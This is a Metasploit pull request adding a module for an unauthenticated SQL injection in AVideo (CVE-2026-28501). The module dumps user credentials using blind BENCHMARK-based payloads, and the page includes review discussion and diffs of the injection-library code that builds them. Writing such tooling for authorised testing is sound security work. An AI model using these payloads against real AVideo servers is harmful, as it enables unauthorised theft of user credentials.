Add AVideo catName blind SQLi credential dump (CVE-2026-28501)#21075
Add AVideo catName blind SQLi credential dump (CVE-2026-28501)#21075bwatters-r7 merged 6 commits intorapid7:masterfrom
Conversation
Add auxiliary/gather/avideo_catname_sqli module exploiting unauthenticated SQL injection via JSON body in objects/videos.json.php. Uses BENCHMARK() time-based blind injection since SLEEP() is blocked by sqlDAL prepare(). Add MySQLi::BenchmarkBasedBlind class with auto-calibrated BENCHMARK() iterations using real table subqueries to match extraction workload cost. Refactor blind_detect_length and blind_dump_data from bit-by-bit extraction to binary search (bisection), avoiding bitwise & operator issues with prepare() and matching sqlmap's extraction strategy. Extract test_vulnerable into TimeBasedBlindMixin, add overridable time_blind_payload and sleep_call methods for clean subclass override. Fix pre-existing rubocop issues in touched mixin files (Style/Documentation, OptionalBooleanParameter, MultilineBlockChain, TrailingWhitespace).
MySQL-specific option should not pollute all SQLi modules. Hardcode probe iteration count in BenchmarkBasedBlind instead.
Remove extra blank line, rename @sqli to @setup_sqli to match memoized method name convention.
|
Is there any chance for getting some more complete specs for the mixins? The existing ones are pretty light..... |
| ['GHSA', 'pv87-r9qf-x56p', 'WWBN/AVideo'] | ||
| ], | ||
| 'DisclosureDate' => '2026-03-05', | ||
| 'DefaultOptions' => { 'SqliDelay' => 1, 'VERBOSE' => true }, |
There was a problem hiding this comment.
Do we want verbose as true by default?
|
|
||
| register_options([ | ||
| OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']), | ||
| OptInt.new('COUNT', [false, 'Number of users to dump (default: all)', 0]) |
There was a problem hiding this comment.
Should this be required if we have a default here?
| OptInt.new('COUNT', [false, 'Number of users to dump (default: all)', 0]) | |
| OptInt.new('COUNT', [true, 'Number of users to dump (default: all)', 0]) |
| setup_sqli | ||
|
|
||
| columns = %w[user password] | ||
| count = datastore['COUNT'] > 0 ? datastore['COUNT'] : 0 |
There was a problem hiding this comment.
This maybe wont be required if we make it required above in the options.
94380ad to
524d19f
Compare
Module changes (cgranleese-r7): - Remove VERBOSE from DefaultOptions - Make COUNT required with default 0 - Simplify COUNT usage since it's now always present Specs (bwatters-r7): - Expand mysqli_common_spec.rb with tests for version, current_database, current_user, enum_database_names, enum_table_names, enum_table_columns, sleep_call, hex_encode_strings, hex/base64 encoders, time_blind_payload, and blind_detect_length binary search - Expand mysqli_time_based_spec.rb with tests for IF/sleep payload generation, SqliDelay usage, test_vulnerable, and Common inheritance - Add mysqli_benchmark_based_blind_spec.rb with tests for BENCHMARK multiplication payload, calibrated iterations, SHA1 seed randomization, test_vulnerable, and calibrate
524d19f to
20d795d
Compare
There was a problem hiding this comment.
Pull request overview
Adds a new Metasploit auxiliary module targeting an unauthenticated AVideo JSON-body SQL injection (CVE-2026-28501), and extends the MySQLi SQLi library to support BENCHMARK-based time delays plus faster blind extraction.
Changes:
- New
auxiliary/gather/avideo_catname_sqlimodule to dump AVideo user credentials via BENCHMARK-based time-blind SQLi. - New
Msf::Exploit::SQLi::MySQLi::BenchmarkBasedBlindimplementation with runtime iteration calibration. - Refactors MySQLi blind extraction to use bisection (
>) rather than bitwise (&), and centralizes time-blind vulnerability checks in the shared mixin.
Reviewed changes
Copilot reviewed 10 out of 10 changed files in this pull request and generated 4 comments.
Show a summary per file
| File | Description |
|---|---|
| spec/lib/msf/core/exploit/sqli/mysqli/mysqli_time_based_spec.rb | Adds targeted specs for MySQLi time-blind payload wrapping and vulnerability detection behavior. |
| spec/lib/msf/core/exploit/sqli/mysqli/mysqli_common_spec.rb | Adds specs covering MySQLi Common helpers, encoders, and time-blind payload construction. |
| spec/lib/msf/core/exploit/sqli/mysqli/mysqli_benchmark_based_blind_spec.rb | Adds specs for BENCHMARK-based payload format, seeding, and calibration. |
| modules/auxiliary/gather/avideo_catname_sqli.rb | New AVideo credential-dump module using JSON-body catName injection with BENCHMARK timing. |
| lib/msf/core/exploit/sqli/time_based_blind_mixin.rb | Centralizes test_vulnerable for time-blind classes via overridable time_blind_payload. |
| lib/msf/core/exploit/sqli/mysqli/time_based_blind.rb | Removes duplicated test_vulnerable now handled by the shared mixin. |
| lib/msf/core/exploit/sqli/mysqli/common.rb | Refactors blind length/data extraction to bisection; adds sleep_call and time_blind_payload hooks; adjusts dump logic. |
| lib/msf/core/exploit/sqli/mysqli/benchmark_based_blind.rb | New BENCHMARK-based time-blind implementation with calibration and custom vulnerability probe. |
| lib/msf/core/exploit/sqli/common.rb | Minor documentation/formatting touch-ups. |
| documentation/modules/auxiliary/gather/avideo_catname_sqli.md | New module documentation including lab setup and usage scenario. |
| extract_char = lambda do |j| | ||
| lo = 0 | ||
| hi = 127 | ||
| while lo < hi | ||
| mid = (lo + hi) / 2 | ||
| condition = "ord(mid(cast((#{query}) as binary),#{j + 1},1))>#{mid}" | ||
| if blind_request(timebased ? time_blind_payload(condition) : condition) | ||
| lo = mid + 1 | ||
| else | ||
| hi = mid | ||
| end | ||
| end | ||
| current_character.chr | ||
| end.join | ||
| output | ||
| vprint_status "{SQLi} [char #{j + 1}/#{length}] = #{lo.chr.inspect}" | ||
| lo.chr |
There was a problem hiding this comment.
blind_dump_data currently binary-searches in the range 0..127 (hi = 127). Since both blind mixins default to bits_to_guess = 8, this truncates valid byte values 128..255 and can break extraction for non-ASCII / binary results (e.g., encoded output, file reads, raw binary casts). Consider searching 0..255 (or respecting output_charset/bitmask) and building the Ruby string in a binary-safe way so bytes > 127 are handled correctly.
| # @return [String] The content of the file if reading was successful | ||
| # | ||
| def read_from_file(fpath, binary=false) | ||
| def read_from_file(fpath, binary: false) |
There was a problem hiding this comment.
read_from_file was changed from a positional boolean (binary=false) to a keyword arg (binary: false), but other DBMS implementations (e.g., MSSQL/PostgreSQL) still use the positional signature. This makes the cross-DBMS SQLi API inconsistent and can break callers that treat DBMS implementations polymorphically. Consider keeping the positional parameter (or supporting both positional and keyword) for compatibility.
| def read_from_file(fpath, binary: false) | |
| def read_from_file(fpath, binary = false, **opts) | |
| binary = opts.fetch(:binary, binary) |
| def blind_detect_length(query, timebased) | ||
| if_function = '' | ||
| sleep_part = '' | ||
| if timebased | ||
| if_function = 'if(' + if_function | ||
| sleep_part += ",sleep(#{datastore['SqliDelay']}),0)" | ||
| end | ||
| i = 0 | ||
| output_length = 0 | ||
| # Find upper bound by doubling | ||
| upper = 1 | ||
| loop do | ||
| output_bit = !blind_request("#{if_function}length(cast((#{query}) as binary))&#{1 << i}=0#{sleep_part}") | ||
| output_length |= (1 << i) if output_bit | ||
| i += 1 | ||
| stop = blind_request("#{if_function}floor(length(cast((#{query}) as binary))/#{1 << i})=0#{sleep_part}") | ||
| break if stop | ||
| condition = "length(cast((#{query}) as binary))>#{upper}" | ||
| payload = timebased ? time_blind_payload(condition) : condition | ||
| break unless blind_request(payload) | ||
|
|
||
| upper *= 2 | ||
| end | ||
| output_length | ||
|
|
||
| # Binary search between lower and upper | ||
| lo = upper / 2 | ||
| hi = upper | ||
| while lo < hi | ||
| mid = (lo + hi) / 2 | ||
| condition = "length(cast((#{query}) as binary))>#{mid}" | ||
| payload = timebased ? time_blind_payload(condition) : condition | ||
| if blind_request(payload) | ||
| lo = mid + 1 | ||
| else | ||
| hi = mid | ||
| end | ||
| end | ||
| lo | ||
| end | ||
|
|
||
| # | ||
| # Retrieves the output of the given SQL query, this method is used in Blind SQL injections | ||
| # Retrieves the output of the given SQL query, this method is used in Blind SQL injections. | ||
| # Uses binary search (bisection) on ASCII values instead of bit-by-bit extraction. | ||
| # @param query [String] The SQL query the user wants to execute | ||
| # @param length [Integer] The expected length of the output of the result of the SQL query | ||
| # @param known_bits [Integer] a bitmask all the bytes in the output are expected to match | ||
| # @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output | ||
| # @param known_bits [Integer] unused (kept for API compatibility) | ||
| # @param bits_to_guess [Integer] unused (kept for API compatibility) | ||
| # @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based | ||
| # @return [String] The query result | ||
| # | ||
| def blind_dump_data(query, length, known_bits, bits_to_guess, timebased) | ||
| if_function = '' | ||
| sleep_part = '' | ||
| if timebased | ||
| if_function = 'if(' + if_function | ||
| sleep_part += ",sleep(#{datastore['SqliDelay']}),0)" | ||
| end | ||
| output = length.times.map do |j| | ||
| current_character = known_bits | ||
| bits_to_guess.times do |k| | ||
| # the query below: the inner substr returns a character from the result, the outer returns a bit of it | ||
| output_bit = !blind_request("#{if_function}ascii(mid(cast((#{query}) as binary), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}") | ||
| current_character |= (1 << k) if output_bit | ||
| extract_char = lambda do |j| | ||
| lo = 0 | ||
| hi = 127 | ||
| while lo < hi | ||
| mid = (lo + hi) / 2 | ||
| condition = "ord(mid(cast((#{query}) as binary),#{j + 1},1))>#{mid}" | ||
| if blind_request(timebased ? time_blind_payload(condition) : condition) | ||
| lo = mid + 1 | ||
| else | ||
| hi = mid | ||
| end | ||
| end | ||
| current_character.chr | ||
| end.join | ||
| output | ||
| vprint_status "{SQLi} [char #{j + 1}/#{length}] = #{lo.chr.inspect}" | ||
| lo.chr | ||
| end | ||
|
|
||
| length.times.map { |j| extract_char.call(j) }.join | ||
| end |
There was a problem hiding this comment.
The new bisection-based implementations of blind_detect_length/blind_dump_data are a substantial behavior change but aren’t covered by any dedicated specs (the existing MySQLi specs exercise helpers/encoders but not blind extraction correctness). Adding unit tests that stub blind_request to emulate a known result would help prevent regressions (e.g., length 0, long strings, and bytes outside ASCII).
| def calibrate | ||
| target_delay = datastore['SqliDelay'].to_f | ||
| probe_iterations = 1_000_000 | ||
| vprint_status "{SQLi} Calibrating BENCHMARK iterations for #{target_delay}s delay..." | ||
|
|
||
| # Probe with a real subquery to match the actual extraction workload. | ||
| # Simple expressions like *(SELECT 1) or *(1=1) overestimate cost per iteration | ||
| # because MySQL's prepare() optimizes them differently than real table subqueries, | ||
| # leading to calibrated iterations that are ~8x too low. | ||
| start = Time.now | ||
| @query_proc.call("BENCHMARK(#{probe_iterations}*(ord(mid(cast((select schema_name from information_schema.schemata limit 0,1) as binary),1,1))>0),SHA1(0x#{Rex::Text.rand_text_hex(8)}))") | ||
| elapsed = Time.now - start | ||
|
|
||
| # Scale to 3x the target delay so that actual execution reliably exceeds SqliDelay. | ||
| # The 3x margin accounts for CPU variance, network jitter, and the fact that | ||
| # information_schema probes are slightly heavier than typical user-table queries. | ||
| @benchmark_iterations = ((target_delay * 3.0 / elapsed) * probe_iterations).to_i | ||
|
|
There was a problem hiding this comment.
calibrate computes @benchmark_iterations using elapsed as a divisor, but there’s no guard for elapsed <= 0 (or extremely small values), and no min/max clamp on the resulting iteration count. In failure/edge cases this can raise (division by zero) or produce an iteration count that is 0 or unreasonably large, impacting reliability and potentially causing very long delays. Consider validating SqliDelay > 0, handling elapsed <= 0 with a safe fallback, and bounding @benchmark_iterations to a reasonable range.
- Widen blind_dump_data bisection range from 0..127 to 0..255 for binary-safe byte extraction, use Encoding::BINARY for chr output - Revert read_from_file to positional param (binary = false) to stay consistent with MSSQL/PostgreSQL implementations - Add elapsed <= 0 guard and .clamp on calibrated benchmark iterations - Add unit specs for blind_detect_length and blind_dump_data covering zero-length, ASCII, long strings, and high bytes (>127) - Fix rubocop: remove leading blank line, use single-quoted strings
|
Release NotesAdds an auxiliary module for CVE-2026-28501, an unauthenticated SQL injection in AVideo <= 22.0, along with a new BenchmarkBasedBlind SQLi mixin class and blind extraction improvements. |
Hello Metasploit Team,
This adds an auxiliary module for CVE-2026-28501, an unauthenticated SQL injection in AVideo <= 22.0, along with a new
BenchmarkBasedBlindSQLi mixin class and blind extraction improvements.Module
AVideo's
security.phpsanitizes GET/POST parameters but skips JSON request bodies. Sinceobjects/videos.json.phpparses JSON and merges it into$_REQUESTafter the filter runs,catNamein a JSON POST bypasses sanitization and reachesgetCatSQL()raw.SLEEP()is blocked by sqlDAL'sprepare(), butBENCHMARK(N*(condition), SHA1(x))works - the condition acts as a multiplier: true (1) runs N iterations (delay), false (0) runs zero (instant).Fixed in 24.0 (no 23.0 release - tags go 22.0 -> 24.0).
Mixin changes
New:
MySQLi::BenchmarkBasedBlind- subclass ofMySQLi::Commonfor targets whereSLEEP()is blocked. Auto-calibrates iteration count using realinformation_schemasubqueries to match extraction workload cost. Overridestime_blind_payloadwith the BENCHMARK multiplication pattern.Refactored: blind extraction in
MySQLi::Common- rewroteblind_detect_lengthandblind_dump_datafrom bit-by-bit (bitwise&) to binary search (bisection with>). Avoids&operator issues withprepare(), matches sqlmap's approach. Added overridabletime_blind_payloadandsleep_callmethods for clean subclass extension.Refactored:
TimeBasedBlindMixin- movedtest_vulnerablefromMySQLi::TimeBasedBlindinto the shared mixin, usingtime_blind_payloadso subclasses can override (SLEEP vs BENCHMARK).Rubocop fixes in touched files:
Style/Documentation,OptionalBooleanParameter,MultilineBlockChain,TrailingWhitespace.Verification
use auxiliary/gather/avideo_catname_sqliset RHOSTS <target>andcheck- reports Vulnerablerun- dumps user credentials (username + password hash)credsandlootshow stored resultsset COUNT 1andrun- dumps only the first userMySQLi::TimeBasedBlindstill works (no regression)Docker lab setup in the documentation (same environment as
avideo_encoder_getimage_cmd_injection).